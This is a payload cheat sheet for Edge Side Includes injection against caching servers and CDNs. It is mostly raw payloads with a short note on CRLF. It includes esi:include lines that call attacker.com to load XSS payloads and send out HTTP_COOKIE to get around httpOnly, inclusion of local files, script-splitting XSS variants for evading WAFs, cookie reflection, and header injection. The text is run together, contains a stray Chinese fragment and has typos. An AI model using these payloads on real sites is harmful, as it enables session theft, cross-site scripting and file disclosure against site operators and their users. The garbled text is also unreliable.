// Basic detectionhell<!--esi-->o// If previous is reflected as "hello", it's vulnerable// Blind detection<esi:includesrc=http://attacker.com>// XSS Exploitation Example<esi:include src=http://attacker.com/XSSPAYLOAD.html>// Cookie Stealer (bypass httpOnly flag)<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>// Introduce private local files (Not LFI per se)<esi:include src="supersecret.txt">// Valid for Akamai, sends debug information in the response<esi:debug/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Use <!--esi--> to bypass WAFs:<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript><img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
# This will reflect the cookies in the response<!--esi$(HTTP_COOKIE)--># Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/--># It's possible to put more complex JS code to steal cookies or perform actions
私有本地文件
不要将其与“本地文件包含”混淆：
<esi:include src="secret.txt">
CRLF
CRLF (Carriage Return Line Feed) refers to the sequence of characters used to denote a line break in HTTP headers. It consists of the ASCII characters 13 (CR) followed by 10 (LF). Attackers can exploit CRLF injection vulnerabilities to manipulate HTTP responses, perform header injection attacks, and potentially execute malicious actions.
<!--esi/$add_header('Content-Type','text/html')/--><!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/--># Check the number of url_decode to know how many times you can URL encode the value
